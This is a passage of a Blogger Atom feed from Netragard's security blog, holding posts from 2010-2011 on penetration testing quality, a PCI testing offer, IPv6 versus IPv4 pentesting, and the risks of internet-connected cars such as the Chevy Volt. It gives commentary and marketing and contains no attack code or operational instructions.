&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-5794997457929403915?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/5794997457929403915/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2011/02/netragard-signage-snatching.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5794997457929403915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5794997457929403915'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2011/02/netragard-signage-snatching.html' title='Netragard Signage Snatching'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-5775539787000769135</id><published>2011-02-22T19:43:00.001-08:00</published><updated>2011-02-25T07:44:08.975-08:00</updated><title type='text'>Quality Penetration Testing by Netragard</title><content type='html'>&lt;div class="posterous_autopost"&gt;&lt;p&gt;The purpose of &lt;a href="http://www.netragard.com/" title="Penetration Testing" target="_blank"&gt;Penetration Testing&lt;/a&gt; is to identify the presence of points where an external entity can make its way into or through a protected entity. &lt;a href="http://www.netragard.com/" title="Penetration Testing" target="_blank"&gt;Penetration Testing&lt;/a&gt; is not unique to IT security and is used across a wide variety of  different industries.  For example, Penetration Tests are used to assess  the effectiveness of body armor.  This is done by exposing the armor to  different munitions that represent the real threat. If a projectile  penetrates the armor then the armor is revised and improved upon until  it can endure the threat.&lt;/p&gt;  &lt;p&gt;&lt;img class="aligncenter" src="http://www.netragard.com/images/img.png" height="284" alt="" width="463" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="" src="" /&gt;&lt;/p&gt;  &lt;p&gt;Network Penetration Testing is a class of Penetration Testing that  applies to Information Technology. The purpose of Network Penetration  Testing is to identify the presence of points where a threat (defined by  the hacker) can align with existing risks to achieve penetration. The  accurate identification of these points allows for remediation.&lt;/p&gt;  &lt;p&gt;Successful penetration by a malicious hacker can result in the  compromise of data with respect to Confidentiality, Integrity and  Availability (“CIA”).  In order to ensure that a Network Penetration  Test provides an accurate measure of risk (&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;risk = probability x impact&lt;/span&gt;&lt;/strong&gt;)  the test must be delivered at a threat level that is slightly elevated  from that which is likely to be faced in the real world. Testing at a  lower than realistic threat level would be akin to testing a bulletproof  vest with a squirt gun.&lt;/p&gt;  &lt;p&gt;Threat levels can be adjusted by adding or removing attack classes.  These attack classes are organized under three top-level categories,  which are Network Attacks, Social Attacks, and Physical Attacks.  Each  of the top-level categories can operate in a standalone configuration or  can be used to augment the other.  For example, Network Penetration  Testing with Social Engineering creates a significantly higher level of  threat than just Network Penetration Testing or Social Engineering  alone.  Each of the top-level threat categories contains numerous  individual attacks.&lt;/p&gt;  &lt;p&gt;A well-designed Network Penetration Testing engagement should employ  the same attack classes as a real threat. This ensures that testing is  realistic which helps to ensure effectiveness. All networked entities  face threats that include Network and Social attack classes. Despite  this fact, most Network Penetration Tests entirely overlook the Social  attack class and thus test at radically reduced threat levels. Testing  at reduced threat levels defeats the purpose of testing by failing to  identify the same level of risks that would likely be identified by the  real threat.  The level of threat that is produced by a Network  Penetration Testing team is one of the primary measures of service  quality.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-5775539787000769135?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/5775539787000769135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2011/02/quality-penetration-testing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5775539787000769135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5775539787000769135'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2011/02/quality-penetration-testing.html' title='Quality Penetration Testing by Netragard'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-8123185802783691735</id><published>2011-01-25T17:23:00.001-08:00</published><updated>2011-02-25T07:44:32.454-08:00</updated><title type='text'>Netragard Challenges your PCI Compliance</title><content type='html'>&lt;div class="posterous_autopost"&gt;&lt;p&gt;&lt;span style="  line-height: 22px;font-family:Lucida Grande, Arial, Helvetica, sans-serif;color:#cccccc;"&gt;  &lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px;  vertical-align: baseline; background- padding: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span" style="color:#FFFFFF;"&gt;The purpose of legitimate Network Penetration Testing is to positively identify risks in a targeted IT Infrastructure before those risks are identified and exploited by malicious hackers. This enables the IT managers to remediate against those risks before they become an issue. To accomplish this the Penetration Test must be driven by people with at least the same degree of skill and persistence as the threat (defined by the malicious hacker).  If the Penetration Test is delivered with a skill set that is less than that of the real threat then the test will likely be ineffective.  This would be akin to testing the effectiveness a bullet-proof vest with a squirt gun.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px;  vertical-align: baseline; background- padding: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span" style="color:#FFFFFF;"&gt;Unfortunately most penetration tests don’t test at realistic threat levels.  This is especially true with regards to PCI based penetration tests.  Most PCI based penetration testing companies do the bare minimum required to satisfy PCI requirement 11.3.  This is problematic because it results in businesses passing their PCI penetration tests when they should have failed and it promotes a false sense of security.  The truth is that most businesses that pass their annual PCI audits are still relatively easy to hack.  &lt;/span&gt;&lt;span class="Apple-style-span" style="color:#FF9966;"&gt;If you don’t believe us then &lt;/span&gt;&lt;a href="http://www.netragard.com/landing-page/pci-compliance-testing-offer.html" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;strong style=" vertical-align: baseline; background- padding: 0px; margin: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span" style="color:#FF9966;"&gt;let us prove it and hire us (Netragard) to deliver a conditional penetration test&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color:#FF9966;"&gt;.&lt;/span&gt;&lt;span class="Apple-style-span" style="color:#FFFFFF;"&gt;  If we can’t penetrate your network using our unrestricted, advanced methodology then the next test is free.   &lt;/span&gt;&lt;strong style=" vertical-align: baseline; background- padding: 0px; margin: 0px;font-size:13px;color:transparent;"&gt;&lt;span class="Apple-style-span" style="color:#FFFFFF;"&gt;(Challenge ends March, 31st 2011).&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-8123185802783691735?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/8123185802783691735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2011/01/we-challenge-your-pci-complaince.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8123185802783691735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8123185802783691735'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2011/01/we-challenge-your-pci-complaince.html' title='Netragard Challenges your PCI Compliance'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-2083846880847660532</id><published>2011-01-16T17:07:00.001-08:00</published><updated>2011-02-25T07:45:55.657-08:00</updated><title type='text'>Netragard: Connect to Chaos</title><content type='html'>&lt;div class="posterous_autopost"&gt;&lt;p&gt;&lt;span style="font-family: Lucida Grande, Arial, Helvetica, sans-serif; color: #cccccc; line-height: 22px;"&gt;  &lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;The &lt;a href="http://www.chevrolet.com/volt/" title="Chevy Volt" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;Chevy Volt&lt;/a&gt; will be the first car of its type: not because it is a hybrid electric/petrol vehicle, but because GM plans to give each one the company sells its own IP address. The Volt will have no less than 100 microcontrollers running its systems from some 10 million lines of code. This makes some hackers very excited and Adriel Desautels, president of security analysis firm&lt;a href="http://www.netragard.com/" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;Netragard&lt;/a&gt;, very worried.  Before now, you needed physical access to reprogram the software inside a car: an ‘air gap’ protected vehicles from remote tampering. The Volt will have no such physical defence. Without some kind of electronic protection, Desautels sees cars such as the Volt and its likely competitors becoming ‘hugely vulnerable 5000lb pieces of metal’.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;Desautels adds: “We are taking systems that were not meant to be exposed to the threats that my team produces and plug it into the internet. Some 14 year old kid will be able to attack your car while you’re driving.&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;…&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;strong style="font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px; margin: 0px;"&gt;The full article can be found &lt;/strong&gt;&lt;a href="http://www.newelectronics.co.uk/article/30523/Technology-Watch-Connect-to-chaos.aspx" target="_blank" style="font-size: 13px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;&lt;strong style="font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px; margin: 0px;"&gt;here&lt;/strong&gt;&lt;/a&gt;&lt;strong style="font-size: 13px; vertical-align: baseline; background-color: transparent; padding: 0px; margin: 0px;"&gt;.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-2083846880847660532?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/2083846880847660532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2011/01/connect-to-chaos.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2083846880847660532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2083846880847660532'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2011/01/connect-to-chaos.html' title='Netragard: Connect to Chaos'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-5436789073531753351</id><published>2011-01-14T20:44:00.001-08:00</published><updated>2011-01-14T20:44:04.991-08:00</updated><title type='text'>Pentesting IPv6 vs IPv4</title><content type='html'>&lt;div class='posterous_autopost'&gt;&lt;p&gt;&lt;span style="font-family: Lucida Grande, Arial, Helvetica, sans-serif; font-size: 16px; color: #cccccc; line-height: 26px;"&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;We&amp;rsquo;ve heard a bit of &amp;ldquo;noise&amp;rdquo; about how IPv6 may impact network penetration testing and how networks may or may not be more secure because of IPv6.&amp;nbsp; Lets be clear, anyone telling you that IPv6 makes penetration testing harder doesn&amp;rsquo;t understand the first thing about real penetration testing.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;&lt;strong style="font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px; margin: 0px;"&gt;Whats the point of IPv6?&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;IPv6 was designed by the&amp;nbsp;&lt;a href="http://www.ietf.org/" title="IETF" target="_blank" style="font-size: 16px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;Internet Engineering Task Force (&amp;ldquo;IETF&amp;rdquo;)&lt;/a&gt;&amp;nbsp;to address the issue of IPv4 address space exhaustion.&amp;nbsp; IPv6 uses a 128-bit address space while IPv4 is only 32 bits.&amp;nbsp; This means that there are 2&lt;sup style="padding: 0px; margin: 0px;"&gt;128&amp;nbsp;&lt;/sup&gt;possible addresses with IPv6, which is far more than the 2&lt;sup style="padding: 0px; margin: 0px;"&gt;32&lt;/sup&gt;addresses available with IPv4. &amp;nbsp;This means that there are going to be many more potential targets for a penetration tester to focus on when IPv6 becomes the norm.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;&lt;strong style="font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px; margin: 0px;"&gt;What about increased security with IPv6?&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;The IPv6 specification mandates support for the&amp;nbsp;&lt;a href="http://www.ietf.org/" title="IPSec Wikipedia" target="_blank" style="font-size: 16px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;Internet Protocol Security (&amp;ldquo;IPSec&amp;rdquo;)&lt;/a&gt;&amp;nbsp;protocol suite, which is designed to secure IP communications by authenticating and encrypting each IP Packet. IPSec operates at the Internet Layer of the Internet Protocol suite and so differs from other security systems like the&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/SSL" style="font-size: 16px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;Secure Socket Layer&lt;/a&gt;, which operates at the application layer. This is the only significant security enhancement that IPv6 brings to the table and even this has little to no impact on penetration testing.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;&lt;strong style="font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px; margin: 0px;"&gt;What some penetration testers are saying about IPv6.&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;Some penetration testers argue that IPv6 will make the job of a penetration testing more difficult because of the massive increase in potential targets. They claim that the massive increase in potential targets will make the process of discovering live targets impossibly time consuming. They argue that scanning each port/host in an entire IPv6 range could take as long as 13,800,523,054,961,500,000 years. &amp;nbsp;But why the hell would anyone waste their time testing potential targets when they could be testing actual live targets?&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="vertical-align: baseline; background-color: transparent; color: #888888; font-size: medium; padding: 0px; margin: 0px;"&gt;The very first step in any&amp;nbsp;&lt;a href="http://www.netragard.com/" style="font-size: 16px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;penetration test&lt;/a&gt;&amp;nbsp;is effective and efficient reconnaissance. Reconnaissance is the military term for the passive gathering of intelligence about an enemy prior to attacking an enemy. &amp;nbsp;There are countless ways to perform reconnaissance, all of which must be adapted to the particular engagement. &amp;nbsp;Failure to adapt will result bad intelligence as no two targets are exactly identical.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;A small component of reconnaissance is target identification. &amp;nbsp;Target identification may or may not be done with scanning depending on the nature of the&amp;nbsp;&lt;a href="http://www.netragard.com/" style="font-size: 16px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;penetration test&lt;/a&gt;. &amp;nbsp;Specifically, it is impossible to deliver a true stealth / covert&amp;nbsp;&lt;a href="http://www.netragard.com/" style="font-size: 16px; vertical-align: baseline; background-color: transparent; text-decoration: none; color: #ff5a00; padding: 0px; margin: 0px;"&gt;penetration test&lt;/a&gt;&amp;nbsp;with automated scanners. &amp;nbsp;Likewise it is very difficult to use a scanner to accuratley identify targets in a network that is protected by reactive security systems (like a well configured IPS that supports black-listing). &amp;nbsp;So in some/many cases doing discovery by scanning an entire block of addresses is ineffective.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;A few common methods for target identification include Social Engineering, DNS enumeration, or maybe something as simple as asking the client to provide you with a list of targets. &amp;nbsp;Not so common methods involve&amp;nbsp;more aggressive social reconnaissance, continued reconnaissance after initial penetration, etc. &amp;nbsp;Either way, it will not take 13,800,523,054,961,500,000 years to identify all of the live and accessible targets in an IPv6 network if you know what you are doing.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;Additionally, penetration testing against 12 targets in an IPv6 network will take the same amount of time as testing 12 targets in an IPv4 network. &amp;nbsp;The number of real targets is what is important and not the number of potential targets. &amp;nbsp;It would be a ridiculous waste of time to test 2&lt;sup style="vertical-align: super; font-size: 13.3333px; padding: 0px; margin: 0px;"&gt;128&amp;nbsp;&lt;/sup&gt;IPv6 Addresses when only 12 IP addresses are live.&amp;nbsp;&amp;nbsp;Not to mention that increase in time would likely translate to an increase in project cost.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-size: 16px; vertical-align: baseline; background-color: transparent; padding: 0px;"&gt;&lt;span style="color: #888888; font-size: medium;"&gt;So in reality, for those who are interested, hacking an IPv6 network won&amp;rsquo;t be any more or less difficult than hacking an IPv4 network. &amp;nbsp;Anyone that argues otherwise either doesn&amp;rsquo;t know what they are doing or they are looking to charge you more money for roughly the same amount of work.&lt;/span&gt;&lt;/p&gt;  &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-5436789073531753351?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/5436789073531753351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2011/01/pentesting-ipv6-vs-ipv4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5436789073531753351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5436789073531753351'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2011/01/pentesting-ipv6-vs-ipv4.html' title='Pentesting IPv6 vs IPv4'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-8238923640533136345</id><published>2011-01-07T16:05:00.001-08:00</published><updated>2011-01-07T16:05:00.172-08:00</updated><title type='text'>Hacking your car for fun and profit.</title><content type='html'>&lt;div class='posterous_autopost'&gt;&lt;p&gt;  &lt;p&gt;Our CEO (Adriel Desautels) recently spoke at the &lt;a href="http://www.ghs.com/" target="_blank"&gt;Green Hills Software&lt;/a&gt; Elite Users Technology Summit regarding automotive hacking.&amp;nbsp; During his  presentation there were a series of reporters taking photographs,  recording audio, etc.&amp;nbsp; Of all of the articles that came out, one in  particular caught our eye.&amp;nbsp; We made the front page of &amp;ldquo;Elektronik  iNorden&amp;rdquo; which is a Swiss technology magazine that focuses on hardware  and embedded systems.&amp;nbsp; You can see the full article here but you&amp;rsquo;ll  probably want to translate:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.webbkampanj.com/ein/1011/?page=1&amp;amp;mode=50&amp;amp;noConflict=1" target="_blank"&gt;http://www.webbkampanj.com/ein/1011/?page=1&amp;amp;mode=50&amp;amp;noConflict=1&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img class="aligncenter" title="Adriel Desautels" src="http://www.netragard.com/images/atd.png" height="217" alt="" width="262" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="color: #ffffff;"&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;What really surprised us during the presentation was how many people  were in disbelief about the level of risk associated with cars built  after 2007.&amp;nbsp; For example, it really isn&amp;rsquo;t all that hard to program a car  to kill the driver.&amp;nbsp; In fact, its far too easy due to the overall lack  of security cars today.&lt;/p&gt;  &lt;p&gt;Think of a car as an IT Infrastructure.&amp;nbsp; All of the servers in the  infrastructure are critical systems that control things like breaks,  seat belts, door locks, engine timing, airbags, lights, the radio, the  dashboard display, etc.&amp;nbsp; Instead of these systems being plugged into a  switched network they are plugged into a hub network lacking any  segmentation with no security to speak of.&amp;nbsp; The only real difference  between the car network and your business network is that the car  doesn&amp;rsquo;t have&amp;nbsp; an internet connection.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://techcrunch.com/2010/11/01/the-chevy-volt-electric-gm-ib/" target="_blank"&gt;Enter the Chevrolet Volt, the first car to have its own IP address.&lt;/a&gt; Granted we don&amp;rsquo;t yet know how the Volt&amp;rsquo;s IP address will be protected.&amp;nbsp;  We don&amp;rsquo;t know if each car will have a public IP address or if the cars  will be connected to a private network controlled by Chevy (or someone  else).&amp;nbsp; What we do know is that the car will be able to reach out to the  internet and so it will be vulnerable to &lt;a href="http://www.honeynet.org/node/157" target="_blank"&gt;client side attacks&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;So what happens if someone is able to attack the car?&lt;/p&gt;  &lt;p&gt;Realistically if someone is able to hack into the car then they will  be able to take full control over almost any component of the car.&amp;nbsp; They  can do anything from apply the breaks, accelerate the car, prevent the  brakes from applying, kill (literally destroy) the engine, apply the  breaks to one side of the car, lock the doors, pretension the seat  belts, etc.&amp;nbsp; For those of you that think this is Science Fiction, it  isn&amp;rsquo;t.&amp;nbsp; &lt;a href="http://www.autosec.org/pubs/cars-oakland2010.pdf" title="Computer scientists at the University of Washington and University of California" target="_blank"&gt;Here&amp;rsquo;s one of many research papers that demonstrates the risks. &lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Why is this possible?&lt;/p&gt;  &lt;p&gt;This is possible because people adopt technology too quickly and  don&amp;rsquo;t stop to think about the risks but instead are blinded by the  continence that it introduces.&amp;nbsp; We see this in all industries not just  automotive. IT managers, CIO&amp;rsquo;s, CSO&amp;rsquo;s, CEO&amp;rsquo;s, etc. are always purchasing  and deploying new technologies without really evaluating the risks.&amp;nbsp; In  fact just recently we had a client purchase a &amp;ldquo;secure email gateway&amp;rdquo;  technology&amp;hellip; it wasn&amp;rsquo;t too secure.&amp;nbsp; We were able to hack it and access  every email on the system because it relied on outdated third party  software.&lt;/p&gt;  &lt;p&gt;Certainly another component that adds to this is that most software  developers write vulnerable and buggy code (sorry guys but its true).&amp;nbsp;  Their code isn&amp;rsquo;t written to be secure, its written to do a specific  thing like handle network traffic, beep your horn, send emails,  whatever.&amp;nbsp; Poor code + a lack of security awareness == high risks.&lt;/p&gt;  &lt;p&gt;So what can you do ?&lt;/p&gt;  &lt;p&gt;Before you decide to adopt new technology make sure that you  understand the benefits and the risks associated with the adoption.&amp;nbsp; If  you&amp;rsquo;re not technical enough (most people aren&amp;rsquo;t) to do a low-level  security evaluation then &lt;a href="http://www.netragard.com" target="_blank"&gt;hire someone&lt;/a&gt; (a security researcher) to do it for you.&amp;nbsp; If you don&amp;rsquo;t then you could  very well be putting yourselves and your customers at serious risk.&lt;/p&gt;  &lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-8238923640533136345?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/8238923640533136345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2011/01/hacking-your-car-for-fun-and-profit.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8238923640533136345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8238923640533136345'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2011/01/hacking-your-car-for-fun-and-profit.html' title='Hacking your car for fun and profit.'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-6283002377145037377</id><published>2010-12-02T13:57:00.001-08:00</published><updated>2010-12-02T17:40:39.435-08:00</updated><title type='text'>Untitled</title><content type='html'>&lt;div class="posterous_autopost"&gt;&lt;p&gt;&lt;span style="  line-height: 22px;font-family:Lucida Grande, Arial, Helvetica, sans-serif;color:#cccccc;"&gt;  &lt;/span&gt;&lt;/p&gt;&lt;p   style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; 